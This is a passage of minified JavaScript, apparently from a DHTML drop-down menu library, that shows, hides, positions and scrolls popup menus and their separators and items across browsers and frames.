_r=_STNS,_c=_r.UI.CUIPopup,s=this.iStat&_c.SHOW,m=this.oParMenu;clearTimeout(this._tTid);if(s&&!this.oParMenu.bTab){return true;}if(!d){return this.fbOnShow();}else{if(d){this._tTid=setTimeout(this.sSelf+".fbShow()",d);}}return true;};CUIPopup.fbOnShow=function(){var _r=_STNS,_c=_r.UI.CUIPopup,m=this.oParMenu,w=this.iNid&&m.bCfm?m.fdmGetTarFm():window,f=false,e;if(!(e=_r.fdmGetEleById(this.sUid,w))){if(!w&&m.bCfm&&!m.bCfShow){return false;}f=this.fbCreate(w);if(f){this.bShInit=false;this.bHdInit=false;this.fbInit();e=_r.fdmGetEleById(this.sUid,w);}}if(!e&&!f&&m.bCfm&&m.bCfShow){w=window;if(!(e=_r.fdmGetEleById(this.sUid))){f=this.fbCreate();if(f){this.bShInit=false;this.bHdInit=false;this.fbInit();e=_r.fdmGetEleById(this.sUid);}}}if(this.aScBars!=""){this.faGetSwh();}if(!m.bTab&&m.aHdTags.length){this.fvHdWels();}if(e){if(this.bHdInit&&this.sHdEff&&typeof this.sHdEff=="object"&&_STNS.EFFECT){this.sHdEff.fbStop();}if(STM_bIE8RC&&this.iHdEffect==1){_r.fdmGetEleById(this.sUid,w).style.visibility="visible";}if(!(this.iTyp&_c.STATIC)){var pos=this.faGetXY(1);e=_STNS.bIsIE?e.parentElement:e.parentNode;if(m.bRunEff&&this.sShEff&&typeof this.sShEff=="string"&&_STNS.EFFECT){var flt=_STNS.EFFECT.foGetEff(this.sShEff,this.sUid+"_dv",w,this.iEffDur,this.iShEff);if(flt){this.sShEff=flt;if(this.sShEff.fbSet()){this.sShEff.fbApply();this.sShEff.fbSetStyle("left:"+pos[0]+"px;top:"+pos[1]+"px;visibility:visible;");this.sShEff.fbPlay();this.iStat|=_c.SHOW;this.bShInit=true;return f;}else{this.sShEff.fbDel();this.sShEff="";}}}else{if(m.bRunEff&&typeof this.sShEff=="object"){var tf=true;if(this.sShEff.dmWin!=w||!this.bShInit){tf=this.sShEff.fbSet();if(tf){this.bShInit=true;}}if(tf){this.sShEff.fbApply();this.sShEff.fbSetStyle("left:"+pos[0]+"px;top:"+pos[1]+"px;visibility:visible;");this.sShEff.fbPlay();this.iStat|=_c.SHOW;return f;}}}e.style.left=pos[0]+"px";e.style.top=pos[1]+"px";e.style.visibility="visible";}else{if(m.bRunEff&&this.sShEff&&typeof this.sShEff=="string"&&_STNS.EFFECT){var flt=_STNS.EFFECT.foGetEff(this.sShEff,this.sUid,w,this.iEffDur,this.iShEff);if(flt){this.sShEff=flt;if(this.sShEff.fbSet()){this.sShEff.fbApply();this.sShEff.fbSetStyle("visibility:visible;");this.sShEff.fbPlay();this.iStat|=_c.SHOW;this.bShInit=true;return f;}else{this.sShEff.fbDel();this.sShEff="";}}}else{if(m.bRunEff&&typeof this.sShEff=="object"){var tf=true;if(this.sShEff.dmWin!=w||!this.bShInit){tf=this.sShEff.fbSet();if(tf){this.bShInit=true;}}if(tf){this.sShEff.fbApply();this.sShEff.fbSetStyle("visibility:visible;");this.sShEff.fbPlay();this.iStat|=_c.SHOW;return f;}}}}e.style.visibility=!(_r.bIsOP&&_r.oNav.version<9)?"visible":"";}m.bRunEff=true;this.iStat|=_c.SHOW;return f;};CUIPopup.fbShowX=function(d){var _r=_STNS,_c=_r.UI.CUIPopup,s=this.iStat&_c.SHOW,m=this.oParMenu;if(s){clearTimeout(this._tTid);return true;}else{if(!d){var ps=[],p=this;while(p){ps.push(p);p=p.oParItem?p.oParItem.oParPopup:0;}for(var i=ps.length-1;i>=0;i--){ps[i].fbShow();}}else{if(d){this._tTid=setTimeout(this.sSelf+".fbShowX()",d);}}}return true;};CUIPopup.fbHide=function(d){var _r=_STNS,_c=_r.UI.CUIPopup,_ic=_r.UI.CUIItem,s=this.iStat&_c.SHOW,m=this.oParMenu;clearTimeout(this._tTid);if(m.iClk&4){if(!this.iDepth&&(this.iStat&_c.MOUSEOVER)){return true;}}if(!s){d=0;}if(!d){return this.fbOnHide();}else{if(d){this._tTid=setTimeout(this.sSelf+".fbHide()",d);}}return true;};CUIPopup.fbHideX=function(d,b,e,f){var _r=_STNS,_c=_r.UI.CUIPopup,_ic=_r.UI.CUIItem,s=this.iStat&_c.SHOW,m=this.oParMenu,tp,pp=this,pi;if(typeof f=="undefined"){f=0;}if(e==null){e=-1;}if(!d){while(pp&&pp.iDepth<=b&&pp.iDepth>e){clearTimeout(pp._tTid);tp=pp;if(pi=pp.oParItem){pi.fbUpDate(pi.iStat&(_ic.MAXSTATE-_ic.MOUSEOVER_STYLE));}pp=pp.oParPopup;}if(m.bHdPopup||f){if(tp){tp.fbHide();}else{for(var i=0;i<this.aItems.length;i++){if(this.aItems[i].oSubPopup){this.aItems[i].oSubPopup.fbHide();}}}}m.iStat&=_r.UI.CUIMenu.MAXSTATE-_r.UI.CUIMenu.MOUSEOVER;m.bClked=false;}if(d){this._tTid=setTimeout(this.sSelf+".fbHideX(0,"+b+","+e+","+f+")",d);}return true;};CUIPopup.fbOnHide=function(){var _r=_STNS,_c=_r.UI.CUIPopup,_ic=_r.UI.CUIItem,cf=this.iStat&_c.CROSSFRAME,w=cf?this.oParMenu.fdmGetTarFm():window,e,i,m=this.oParMenu;for(i=0;i<this.aItems.length;i++){if(this.aItems[i].oSubPopup){this.aItems[i].oSubPopup.fbHide();this.aItems[i].fbUpDate(this.aItems[i].iStat&(_ic.MAXSTATE-_ic.MOUSEOVER_STYLE));}}if(!(this.iStat&_c.SHOW)){return true;}if(!m.bTab&&m.aHdTags.length){this.fvShWels();}if(e=_r.fdmGetEleById(this.sUid,w)){if(this.bShInit&&this.sShEff&&typeof this.sShEff=="object"&&_STNS.EFFECT){this.sShEff.fbStop();}if(this.iTyp&_c.STATIC){if(m.bRunEff&&this.sHdEff&&typeof this.sHdEff=="string"&&_STNS.EFFECT){var flt=_STNS.EFFECT.foGetEff(this.sHdEff,this.sUid,w,this.iEffDur,this.iHdEff);if(flt){this.sHdEff=flt;if(this.sHdEff.fbSet()){this.sHdEff.fbApply();this.sHdEff.fbSetStyle("visibility:hidden;");this.sHdEff.fbPlay();this.iStat&=_c.MAXSTATE-_c.SHOW;this.bHdInit=true;return true;}else{this.sHdEff.fbDel();this.sHdEff="";}}}else{if(m.bRunEff&&typeof this.sHdEff=="object"){var tf=true;if(this.sHdEff.dmWin!=w||!this.bHdInit){tf=this.sHdEff.fbSet();if(tf){this.bHdInit=true;}}if(tf){this.sHdEff.fbApply();this.sHdEff.fbSetStyle("visibility:hidden;");this.sHdEff.fbPlay();this.iStat&=_c.MAXSTATE-_c.SHOW;return true;}}}e.style.visibility="hidden";}else{var pos=this.faGetXY(1);if(m.bRunEff&&this.sHdEff&&typeof this.sHdEff=="string"&&_STNS.EFFECT){var flt=_STNS.EFFECT.foGetEff(this.sHdEff,this.sUid+"_dv",w,this.iEffDur,this.iHdEff);if(flt){this.sHdEff=flt;if(this.sHdEff.fbSet()){this.sHdEff.fbApply();this.sHdEff.fbSetStyle("left:"+pos[0]+"px;top:"+pos[1]+"px;visibility:hidden;");if(STM_bIE8RC&&this.iHdEffect==1){_r.fdmGetEleById(this.sUid,w).style.visibility="hidden";}this.sHdEff.fbPlay();this.iStat&=_c.MAXSTATE-_c.SHOW;this.bHdInit=true;return true;}else{this.sHdEff.fbDel();this.sHdEff="";}}}else{if(m.bRunEff&&typeof this.sHdEff=="object"){var tf=true;if(this.sHdEff.dmWin!=w||!this.bHdInit){tf=this.sHdEff.fbSet();if(tf){this.bHdInit=true;}}if(tf){this.sHdEff.fbApply();this.sHdEff.fbSetStyle("left:"+pos[0]+"px;top:"+pos[1]+"px;visibility:hidden;");if(STM_bIE8RC&&this.iHdEffect==1){_r.fdmGetEleById(this.sUid,w).style.visibility="hidden";}this.sHdEff.fbPlay();this.iStat&=_c.MAXSTATE-_c.SHOW;return true;}}}if(_STNS.bIsIE){e.parentElement.style.visibility="hidden";}else{e.parentNode.style.visibility="hidden";}}}this.iStat&=_c.MAXSTATE-_c.SHOW;return true;};CUIPopup.fbCheckClkSet=function(){if(!(p.oParMenu.iStat&_STNS.UI.CUIMenu.MOUSEOVER)){p.oParMenu.bClked=false;}return true;};CUIPopup.fbSetOver=function(){var _r=_STNS,_c=_r.UI.CUIPopup,_ic=_r.UI.CUIItem,p=this,m=this.oParMenu;m.bOver=1;if(m.CP){m.CP=this;}this.oParMenu.iStat|=_r.UI.CUIMenu.MOUSEOVER;if((m.iClk&1)&&!(m.iClk&2)&&!m.bClked){return true;}while(p){clearTimeout(p._tTid);if(!m.bTab){if(p.oParItem){p.oParItem.fbUpDate(p.oParItem.iStat|_ic.MOUSEOVER_STYLE);}}p=p.oParPopup;}return true;};CUIPopup.fbSetOut=function(){var m=this.oParMenu,_r=_STNS;m.bOver=0;m.OutPopup=this;if(m.bTab){if(m.iTab==1&&this.iDepth==1){var _ic=_r.UI.CUIItem;for(var i=0;i<this.aItems.length;i++){var pi=this.aItems[i];if(typeof pi.sTxt!="undefined"){pi.fbUpDate(pi.iStat&(_ic.MAXSTATE-_ic.MOUSEOVER_STYLE));}}}m.iStat&=_r.UI.CUIMenu.MAXSTATE-_r.UI.CUIMenu.MOUSEOVER;m.bClked=false;return true;}if(m.iTyp==3){this.fbHideX(m.iDelayHd,this.iDepth);}else{if(m.iTyp==2&&STM_AHCM){this.fbHideX(m.iDelayHd,this.iDepth);}else{this.fbHideX(m.iDelayHd,this.iDepth,0);}}return true;};CUIPopup.fbInit=function(){var _r=_STNS,_c=_r.UI.CUIPopup,e,t,m=this.oParMenu,w=this.iStat&_c.CROSSFRAME?m.fdmGetTarFm():window;if(this.bMul&&_r.bIsSF){if(this.tr){for(var i=0;i<this.tr.length;i++){var _104=0,e;for(var j=0;j<this.tr[i].length;j++){e=_r.fdmGetEleById(this.sUid+"_td"+this.tr[i][j],w);_104=Math.max(_104,e.offsetHeight);}this.tr[i].Maxtd=_104;}}}for(var i=0;i<this.aItems.length;i++){this.aItems[i].fbInit();}for(var j=0;j<this.aScBars.length;j++){this.aScBars[j].fbInit();}e=_r.fdmGetEleById(this.sUid,w);if(e){if(this.iHei=="100%"){e.style.height=e.offsetParent.offsetHeight;}}var _106=[_STNS.fiGetEleWid(_STNS.fdmGetEleById(this.sUid,w))+this.iSdSize,_STNS.fiGetEleHei(_STNS.fdmGetEleById(this.sUid,w))+this.iSdSize],_107=[_STNS.fiGetEleWid(_STNS.fdmGetEleById(this.sUid+"_body",w)),_STNS.fiGetEleHei(_STNS.fdmGetEleById(this.sUid+"_body",w))];this.MaxScrWH=_106;this.MaxDvWH=_107;var sc=this.aScBars;for(var i=0;i<2;i++){if(sc[i]){sc[i].img0=sc[i].aImgs[0];sc[i].img1=sc[i].aImgs[1];}}};CUIPopup.faGetXY=function(f){var _r=_STNS,_c=_r.UI.CUIPopup,pi=this.oParItem,m=this.oParMenu,e,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window,ip,iw=ih=0,pw,ph,x,y,cl=_r.fiGetCL(w),ct=_r.fiGetCT(w),cw=_r.fiGetCW(w),ch=_r.fiGetCH(w);if(this.iTyp&_c.STATIC){return [0,0];}if(!this.iNid){x=eval(m.iX);y=eval(m.iY);if(!x){x=0;}if(!y){y=0;}return [x,y];}if(pi&&(e=_r.fdmGetEleById(pi.sUid,pi.iStat&_r.UI.CUIItem.CROSSFRAME?w:window))){ip=_r.faGetElePos(e);iw=_r.fiGetEleWid(e);ih=_r.fiGetEleHei(e);}else{ip=[0,0];}e=_r.fdmGetEleById(this.sUid+"_dv",w);if(e){pw=_r.fiGetEleWid(e);ph=_r.fiGetEleHei(e);}else{return [0,0];}switch(this.iDirect){case _c.DIRECTION_LEFT:x=ip[0]-pw;y=ip[1];break;case _c.DIRECTION_RIGHT:x=ip[0]+iw;y=ip[1];break;case _c.DIRECTION_UPLEFT:x=ip[0];y=ip[1]-ph;break;case _c.DIRECTION_DOWNLEFT:x=ip[0];y=ip[1]+ih;break;case _c.DIRECTION_UPRIGHT:x=ip[0]+iw-pw;y=ip[1]-ph;break;case _c.DIRECTION_DOWNRIGHT:x=ip[0]+iw-pw;y=ip[1]+ih;break;}if(cf&&this.oParPopup&&!this.oParPopup.iNid){switch(m.iCfD){case 0:x+=cl;y=ct;break;case 1:x+=cl;y=ct+ch-ph;break;case 2:x=cl;y+=ct;break;case 3:x=cl+cw-pw;y+=ct;break;}x+=m.iCfX;y+=m.iCfY;if(m.sSrcFm){var wcl=_STNS.fiGetCL(),wct=_STNS.fiGetCT();if(!m.iCfD||m.iCfD==1){x-=wcl;}if(m.iCfD==2||m.iCfD==3){y-=wct;}}}x+=this.iOffX;y+=this.iOffY;if(f&&this.iNid){if(STM_RTL&&_STNS.bIsIE&&_STNS.oNav.version>5){cl=cw+cl-w.document.body.scrollWidth;}if(x+pw>cl+cw){x=cw+cl-pw;}if(y+ph>ct+ch){y=ct+ch-ph;}if(x<cl-this.iSdSize){x=cl-this.iSdSize;}if(y<ct-this.iSdSize){y=ct-this.iSdSize;}}return [x,y];};CUIPopup.foInsItem=function(){};CUIPopup.fbDelItem=function(){};CUIPopup.faGetSwh=function(){var _r=_STNS,_c=_r.UI.CUIPopup,v=this.iTyp&_c.VERTICAL,m=this.oParMenu,p=this,sc=this.aScBars.length?this.aScBars:m.aScBars,pd=this.iDirect,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window,f=false,e,_pi,pi=this.oParItem,ip,iw=ih=0;this._sc=_r.fdmGetEleById(this.sUid+"_scc",w);this._body=_r.fdmGetEleById(this.sUid+"_body",w);this._pop=_r.fdmGetEleById(this.sUid,w);this._sc.scrollTop=0;this._sc.scrollLeft=0;var sw=sc[0]&&sc[1]?[sc[0].iImgWid+2*sc[0].iImgBd+2*sc[0].iBdWid,sc[1].iImgWid+2*sc[1].iImgBd+2*sc[1].iBdWid]:[0,0],sh=sc[0]&&sc[1]?[sc[0].iImgHei+2*sc[0].iImgBd+2*sc[0].iBdWid,sc[1].iImgHei+2*sc[1].iImgBd+2*sc[1].iBdWid]:[0,0];var d0=_r.fdmGetEleById(this.sUid+"d0",w),d1=_r.fdmGetEleById(this.sUid+"d1",w),d2=_r.fdmGetEleById(this.sUid+"d2",w),d3=_r.fdmGetEleById(this.sUid+"d3",w);dec0=d0?[_r.fiGetEleWid(d0),_r.fiGetEleHei(d0)]:[0,0];dec1=d1?[_r.fiGetEleWid(d1),_r.fiGetEleHei(d1)]:[0,0];dec2=d2?[_r.fiGetEleWid(d2),_r.fiGetEleHei(d2)]:[0,0];dec3=d3?[_r.fiGetEleWid(d3),_r.fiGetEleHei(d3)]:[0,0];var dh=dec0[1]+dec2[1]+2*(p.iBdWid+p.iSdSize),dw=dec1[0]+dec3[0]+2*(p.iBdWid+p.iSdSize);if(pi&&(_pi=_r.fdmGetEleById(pi.sUid,pi.iStat&_r.UI.CUIItem.CROSSFRAME?w:window))){ip=_r.faGetElePos(_pi);iw=_r.fiGetEleWid(_pi);ih=_r.fiGetEleHei(_pi);}else{ip=[0,0];}var _134=_r.fiGetEleWid(this._body),_135=_r.fiGetEleHei(p._body);if(!v){var _136=this.MaxDvWH[0]+dw,_137=p.MaxScrWH[1]-dh;CWid=_r.fiGetCW(w),CHei=_r.fiGetCH(w),CScrL=_r.fiGetCL(w);if(cf){if(this.oParPopup&&!this.oParPopup.iNid){if(_138){if(pd==1){CWid=p.iOffX-CScrL;}if(pd==2){CWid=CWid-p.iOffX;}}}else{if(pd==1){CWid=ip[0]-CScrL+p.iOffX;}if(pd==2){CWid=CWid+CScrL-ip[0]-iw-p.iOffX;}}}else{if(pd==1){CWid=ip[0]-CScrL+p.iOffX;}if(pd==2){CWid=CWid+CScrL-ip[0]-iw-p.iOffX;}}var _138=this.aScBars[0].iScD;_r.fdmGetEleById(p.sUid+"_sc0",w).style.display="";_r.fdmGetEleById(p.sUid+"_sc1",w).style.display="";if(_138&&_136>_138){this._sc.style.width=(_138-(p.MaxScrWH[0]-_134))>=0?(_138-(p.MaxScrWH[0]-_134))+"px":"1px";this._sc.style.height=_137+"px";this._sc.style.overflow="hidden";if(_r.bIsOP&&_r.oNav.version>=9){var _139=_r.fdmGetEleById(this.sUid+"_dv",w);if(_139){_139.style.width=_139.childNodes[0].offsetWidth+"px";}}}else{if(!_138&&_136>CWid){this._sc.style.width=(CWid-(p.MaxScrWH[0]-_134))>=0?(CWid-(p.MaxScrWH[0]-_134))+"px":"1px";this._sc.style.height=_137+"px";this._sc.style.overflow="hidden";if(_r.bIsOP&&_r.oNav.version>=9){var _139=_r.fdmGetEleById(this.sUid+"_dv",w);if(_139){_139.style.width=_139.childNodes[0].offsetWidth+"px";}}}else{this._sc.style.height=p.MaxDvWH[1]+"px";this._sc.style.width=_134+"px";_r.fdmGetEleById(p.sUid+"_sc0",w).style.display="none";_r.fdmGetEleById(p.sUid+"_sc1",w).style.display="none";}}}else{var _137=p.MaxDvWH[1]+dh,_136=this.MaxScrWH[0]-dw;CWid=_r.fiGetCW(w),CHei=_r.fiGetCH(w),CScrT=_r.fiGetCT(w);if(cf){if(this.oParPopup&&!this.oParPopup.iNid){if(_13a){if(pd==3){CHei=p.iOffY-CScrT;}if(pd==4){CHei=CHei-p.iOffY;}}}else{if(pd==3){CHei=ip[1]-CScrT+p.iOffY;}if(pd==4){CHei=CHei-ip[1]-ih-p.iOffY+CScrT;}}}else{if(pd==3){CHei=ip[1]-CScrT+p.iOffY;}if(pd==4){CHei=CHei-ip[1]-ih-p.iOffY+CScrT;}}var _13a=this.aScBars[0].iScD;_r.fdmGetEleById(p.sUid+"_sc0",w).parentNode.style.display="";_r.fdmGetEleById(p.sUid+"_sc1",w).parentNode.style.display="";if(_13a&&_137>_13a){this._sc.style.height=(_13a-(p.MaxScrWH[1]-_135))>=0?(_13a-(p.MaxScrWH[1]-_135))+"px":"1px";this._sc.style.width=_136+"px";this._sc.style.overflow="hidden";}else{if(!_13a&&_137>CHei){this._sc.style.height=(CHei-(p.MaxScrWH[1]-_135))>=0?(CHei-(p.MaxScrWH[1]-_135))+"px":"1px";this._sc.style.width=_136+"px";this._sc.style.overflow="hidden";}else{this._sc.style.height=_135+"px";_r.bIsIE?this._sc.style.width=p.MaxDvWH[0]+"px":"";_r.fdmGetEleById(p.sUid+"_sc0",w).parentNode.style.display="none";_r.fdmGetEleById(p.sUid+"_sc1",w).parentNode.style.display="none";}}}_r.fiGetEleWid(_r.fdmGetEleById(this.sUid+"_dv",w));for(var i=0;i<2;i++){var oSc=_r.fdmGetEleById(p.sUid+"_sc"+i,w);if(oSc){oSc.onmouseover=Function(this.sSelf+".fvScr("+this.sSelf+",100,"+i+")");oSc.onmousedown=Function(this.sSelf+".fvScr("+this.sSelf+",10,"+i+")");oSc.onmouseup=Function(this.sSelf+".fvScr("+this.sSelf+",100,"+i+")");oSc.onmouseout=Function(this.sSelf+".fvClearScr("+this.sSelf+")");}}var te0,te1;te0=sc[0]?_r.fdmGetEleById(sc[0].sUid+"_img",w):0;te1=sc[1]?_r.fdmGetEleById(sc[1].sUid+"_img",w):0;te0?te0.src=cf?_r.fsGetAbsPth(sc[0].img0):sc[0].img0:"";te1?te1.src=cf?_r.fsGetAbsPth(sc[1].img1):sc[1].img1:"";};CUIPopup.fvScr=function(p,sp,d){if(this.tScr){clearTimeout(this.tScr);}var _r=_STNS,_c=_r.UI.CUIPopup,v=p.iTyp&_c.VERTICAL,cf=p.iStat&_c.CROSSFRAME,m=p.oParMenu,sc=p.aScBars.length?p.aScBars:m.aScBars,te0,te1,w=p.iStat&_c.CROSSFRAME?m.fdmGetTarFm():window,scc=_r.fdmGetEleById(p.sUid+"_scc",w),cw=p.MaxDvWH[0]-_r.fiGetEleWid(scc,w),ch=p.MaxDvWH[1]-_r.fiGetEleHei(scc,w);te0=sc[0]?_r.fdmGetEleById(sc[0].sUid+"_img",w):0;te1=sc[1]?_r.fdmGetEleById(sc[1].sUid+"_img",w):0;if(cf){sc[0].img0=_r.fsGetAbsPth(sc[0].img0);sc[0].img1=_r.fsGetAbsPth(sc[0].img1);sc[1].img0=_r.fsGetAbsPth(sc[1].img0);sc[1].img1=_r.fsGetAbsPth(sc[1].img1);}if(v){if(d){scc.scrollTop+=4;if(scc.scrollTop>=ch){te1.src=sc[1].img0;}else{te0.src=sc[0].img1;te1.src=sc[1].img1;}}else{scc.scrollTop-=4;if(scc.scrollTop<=0){te0.src=sc[0].img0;}else{te0.src=sc[0].img1;te1.src=sc[1].img1;}}}else{if(d){scc.scrollLeft+=4;if(scc.scrollLeft>=cw){te1.src=sc[1].img0;}else{te0.src=sc[0].img1;te1.src=sc[1].img1;}}else{scc.scrollLeft-=4;if(scc.scrollLeft<=0){te0.src=sc[0].img0;}else{te0.src=sc[0].img1;te1.src=sc[1].img1;}}}this.tScr=setTimeout(this.sSelf+".fvScr("+this.sSelf+","+sp+","+d+")",sp);};CUIPopup.fvClearScr=function(p){if(this.tScr){clearTimeout(this.tScr);}};CUIPopup.fvHdWels=function(){var _r=_STNS,m=this.oParMenu;for(var i=0;i<m.aHdTags.length;i++){if(m.bWe){var _c=_r.UI.CUIPopup,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window;p=_r.fdmGetEleById(this.sUid,w);if(!p||(!this.oParMenu.iTyp&&!this.iNid)){return false;}var pos=this.faGetXY(p),pw=_STNS.fiGetEleWid(p),ph=_STNS.fiGetEleHei(p);var ifr=_r.fdmGetEleById(this.sUid+"_iframe",w);if(!ifr){return;}ifr.style.left=pos[0];ifr.style.top=pos[1];ifr.style.width=pw+"px";ifr.style.height=ph+"px";ifr.style.visibility="visible";}else{this.fvWtag(m.aHdTags[i],-1,this);}}};CUIPopup.fvShWels=function(){var _r=_STNS,m=_r._aStMenus[_r._aStMenus.length-1];for(var i=0;i<m.aHdTags.length;i++){if(m.bWe){var _c=_r.UI.CUIPopup,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window;var ifr=_r.fdmGetEleById(this.sUid+"_iframe",w);if(ifr){ifr.style.visibility="hidden";}}else{this.fvWtag(m.aHdTags[i],1,this);}}};CUIPopup.fvWtag=function(tg,c,p){var _r=_STNS,m=this.oParMenu,_c=_r.UI.CUIPopup,cf=this.iStat&_c.CROSSFRAME,w=cf?m.fdmGetTarFm():window,d=w.document;var es=!_r.bIsIE?d.getElementsByTagName(tg):d.all.tags(tg);p=_r.fdmGetEleById(p.sUid,w);for(var j=0;j<es.length;++j){var f=0,e=es.item(j),a;if((tg=="object"||tg=="embed")&&!(_r.bIsOP||_r.bIsMIE)){if(a=e.getAttribute("wmode")){if(a.toLowerCase()=="transparent"||a.toLowerCase()=="opaque"){continue;}}}for(var t=e.offsetParent;t;t=t.offsetParent){if(t.id&&t.id.indexOf("stUI")>=0){f=1;}}if(f){continue;}else{if(p&&this.fbWover(e,p)){if(_r.bIsOP&&tg=="applet"){var v;if(v=parseInt(e.getAttribute("visLevel"))){e.setAttribute("visLevel",v+c);v+=c;}else{e.setAttribute("visLevel",c);v=c;}if(v==-1){if(e.getAttribute("visSave")){e.setAttribute("visSave",e.style.visibility);}e.style.visibility="hidden";if(typeof (p.mywehd)!="undefined"&&p.mywehd(e)){return;}}else{if(!v){var bv=e.getAttribute("visSave");e.style.visibility=bv?bv:"";if(typeof (p.mywesh)!="undefined"&&p.mywesh(e)){return;}}}}else{if(e.visLevel){e.visLevel+=c;}else{e.visLevel=c;}if(e.visLevel==-1){if(typeof e.visSave=="undefined"){e.visSave=e.style.visibility;}e.style.visibility="hidden";if(typeof (p.mywehd)!="undefined"&&p.mywehd(e)){return;}}else{if(!e.visLevel){e.style.visibility=e.visSave;if(typeof (p.mywesh)!="undefined"&&p.mywesh(e)){return;}}}}}}}};CUIPopup.fbWover=function(e,p){if(!p||(!this.oParMenu.iTyp&&!this.iNid)){return false;}var l=0,t=0,w=e.offsetWidth,h=e.offsetHeight,pos=this.faGetXY(p),pw=_STNS.fiGetEleWid(p),ph=_STNS.fiGetEleHei(p);w?(e._wd=w):(w=e._wd);h?(e._ht=h):(h=e._ht);while(e){l+=e.offsetLeft,t+=e.offsetTop,e=e.offsetParent;}return l<pw+pos[0]&&l+w>pos[0]&&t<ph+pos[1]&&t+h>pos[1];};_STNS.UI.CUISeparator=_STNS.Class(_STNS.UI.CUIObj);CUISeparator=_STNS.Class(_STNS.UI.CUIObj);CUISeparator.register("UI/CUIObj>CUISeparator");CUISeparator.construct=function(){this.iNid=-1;this.iTyp=-1;this.iWid=-1;this.iHei=-1;this.sImg=0;this.iImgWid=-1;this.iImgHei=-1;this.sBgClr=0;this.sBgImg=0;this.iBgRep=0;this.oParMenu=0;this.oParPopup=0;this.sId=0;this.iStat=0;with(_STNS.UI.CUISeparator){this.fsGetHTML=fsGetHTML;this.fbInit=fbInit;}};CUISeparator.CROSSFRAME=1;with(CUISeparator){CUISeparator.MAXSTATE=CROSSFRAME;}CUISeparator.fsGetHTML=function(){var s,m=this.oParMenu,_r=_STNS,_mc=_r.UI.CUIMenu,_c=_r.UI.CUISeparator,cf=this.iStat&_c.CROSSFRAME;with(this){s="<table cellpadding=0 cellspacing=0 "+"id='"+sUid+"' "+m.fsGetEnt(this,"click","",cf)+" "+m.fsGetEnt(this,"mousedown","",cf)+" "+m.fsGetStyle("tb",cf,"font-size:1pt;line-height:1pt;"+(iWid&&iWid!=-1?"width:"+_r.fsGetLen("tb",iWid)+";":"")+(iHei&&iHei!=-1?"height:"+_r.fsGetLen("tb",iHei,0,0,1,0)+";":"")+(sBgClr?"background-color:"+sBgClr+";":"")+(sBgImg?"background-image:url("+(cf?_r.fsGetAbsPth(sBgImg):sBgImg)+");background-repeat:"+_mc.REPEATS[iBgRep]+";":""))+"><td align='center' valign='middle'>"+(iImgWid&&iImgHei?m.fsGetImgTag(sImg,iImgWid,iImgHei,0,"",cf):" ")+"</td></table>";}return s;};CUISeparator.fbInit=function(){var _r=_STNS,w=this.oParPopup.iStat&_r.UI.CUIPopup.CROSSFRAME?this.oParMenu.fdmGetTarFm():window,p=this.oParPopup,e=_r.fdmGetEleById(this.sUid,w);if(e&&this.iHei=="100%"){if(_r.bIsSF){if(!p.bMul){e.style.height=e.offsetParent.offsetParent.offsetHeight-2*p.iSpace+"px";}else{var _184=0;for(var i=0;i<p.tr.length;i++){for(var j=0;j<p.tr[i].length;j++){if(p.tr[i][j]==this.iNid){_184=p.tr[i].Maxtd;break;}}if(_184){break;}}e.style.height=_184+"px";}}else{if(_STNS.bIsIE&&!_STNS.bLoaded&&!this.oParPopup.iNid){_STNS.fbAddLoad(new Function("var i;if(i=_STNS.fdmGetEleById('"+this.sUid+"'))i.style.height=i.offsetParent.offsetHeight+'px';"));}else{if(e.offsetParent){e.style.height=e.offsetParent.offsetHeight+"px";}else{_STNS.fbAddLoad(new Function("var i;if(i=_STNS.fdmGetEleById('"+this.sUid+"'))if(i.offsetParent&&i.offsetParent.offsetHeight)i.style.height=i.offsetParent.offsetHeight+'px';else{i.style.height='expression(this.offsetParent.offsetheight+\"px\")'}"));}}}}return true;};_STNS.UI.CUIItem=_STNS.Class(_STNS.UI.CUIObj);CUIItem.register("UI/CUIObj>CUIItem");CUIItem.construct=function(){this.iTyp=0;this.sId=0;this.iNid=-1;this.iWid=-1;this.iHei=-1;this.sTxt="";this.sFTxt="";this.aImgs=[];this.iImgWid=-1;this.iImgHei=-1;this.iImgBd=0;this.sLnk=this._sTLnk="#_nolink";this.sTar="";this.sStatus="";this.sTip="";this.aIcos=[];this.iIcoWid=-1;this.iIcoHei=-1;this.iIcoBd=0;this.aArrs=[];this.iArrWid=-1;this.iArrHei=-1;this.iArrBd=0;this.iHal=0;this.iVal=1;this.aBgClrs=[];this.aBgImgs=[];this.aBgReps=[];this.iBdStyle=0;this.iBdWid=0;this.aBdClrs=[];this.aFnts=[];this.aDecos=[];this.aFntClrs=[];this.oParMenu=0;this.oParPopup=0;this.oSubPopup=0;this.iStat=0;this.iLeftWid=0;this.iRightWid=0;this.iScD=0;this.iPad=0;this.bScr=false;this.aLTab=[];this.aRTab=[];this.iLTabWid=-1;this.iRTabWid=-1;this.iITabHei=-1;with(_STNS.UI.CUIItem){this.fsGetHTML=fsGetHTML;this.fbGetEnt=fbGetEnt;this.fbSetStatus=fbSetStatus;this.fbReStatus=fbReStatus;this.fbSetOver=fbSetOver;this.fbSetOut=fbSetOut;this.fbInit=fbInit;this.fbShowSub=fbShowSub;this.fbHideSub=fbHideSub;this.fbSetFnt=fbSetFnt;this.fbSetBg=fbSetBg;this.fbSetCursor=fbSetCursor;this.fbUpDate=fbUpDate;this.fbOpenLnk=fbOpenLnk;this.fbCkClk=fbCkClk;this.fbEnter=fbEnter;this.fbEsc=fbEsc;this.fbUp=fbUp;this.fbDown=fbDown;this.fbLeft=fbLeft;this.fbRight=fbRight;this.faItems=faItems;this.fbNxtItem=fbNxtItem;this.fbRotItem=fbRotItem;this.fbPopFirItem=fbPopFirItem;this.fbSetFocus=fbSetFocus;this.fbSetfs=fbSetfs;this.fbBlur=fbBlur;this.fbFOver=fbFOver;}};CUIItem.SHIFTKEY=1;CUIItem.CTRLKEY=2;CUIItem.ALTKEY=4;CUIItem.MOUSEOVER=1;CUIItem.MOUSEOVER_STYLE=1227133512;CUIItem.TRACK=2;CUIItem.TRACK_STYLE=2454267024;CUIItem.CROSSFRAME=4;CUIItem.CUR_ICON=56;CUIItem.ICON_BIT=3;CUIItem.CUR_ARROW=448;CUIItem.ARROW_BIT=6;CUIItem.CUR_FONT=1584;CUIItem.FONT_BIT=9;CUIItem.CUR_COLOR=28672;CUIItem.COLOR_BIT=12;CUIItem.CUR_DECORATION=229376;CUI